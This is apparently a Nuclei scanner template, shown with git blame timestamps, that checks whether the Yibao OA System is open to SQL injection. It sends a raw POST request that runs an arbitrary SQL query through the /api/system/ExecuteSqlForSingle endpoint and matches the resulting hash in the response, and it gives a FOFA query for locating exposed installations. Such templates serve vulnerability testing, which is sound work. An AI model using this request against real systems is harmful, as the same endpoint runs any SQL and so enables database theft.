nuclei-templates/http/vulnerabilities/other/yibao-sqli.yaml

41 lines
1.0 KiB
YAML
Raw Normal View History

2023-12-04 07:24:28 +00:00
id: yibao-sqli
info:
2023-12-04 18:05:55 +00:00
name: Yibao OA System - SQL Injection
2023-12-04 07:24:28 +00:00
author: DhiyaneshDK
severity: high
2024-01-02 15:45:12 +00:00
description: Yibao OA System is vulnerable to SQL Injection.
2023-12-04 07:24:28 +00:00
metadata:
2023-12-04 18:05:55 +00:00
verified: true
max-request: 1
2023-12-04 07:24:28 +00:00
fofa-query: product="顶讯科技-易宝OA系统"
2023-12-04 18:05:55 +00:00
tags: yiboo,oa,sqli
2023-12-04 07:24:28 +00:00
variables:
num: "999999999"
http:
2023-12-04 18:05:55 +00:00
- raw:
- |
POST /api/system/ExecuteSqlForSingle HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
token=zxh&sql=select substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','{{num}}')),3,32)&strParameters
2023-12-04 07:24:28 +00:00
matchers-condition: and
matchers:
- type: word
part: body
words:
2023-12-04 18:05:55 +00:00
- 'data":"{{md5({{num}})}}'
2023-12-04 07:24:28 +00:00
- type: word
part: header
words:
2023-12-04 18:05:55 +00:00
- application/json
- type: status
status:
- 200
# digest: 490a0046304402206653ad2548e2d308ee2f32e7efc851357c479732dc692f9310c6c17ccbf1f18602200992adce68bff9d503432dcc03fa375b4eee017096194b0c0669c2e2dfd156a4:922c64590222798bb761d5b6d8e72950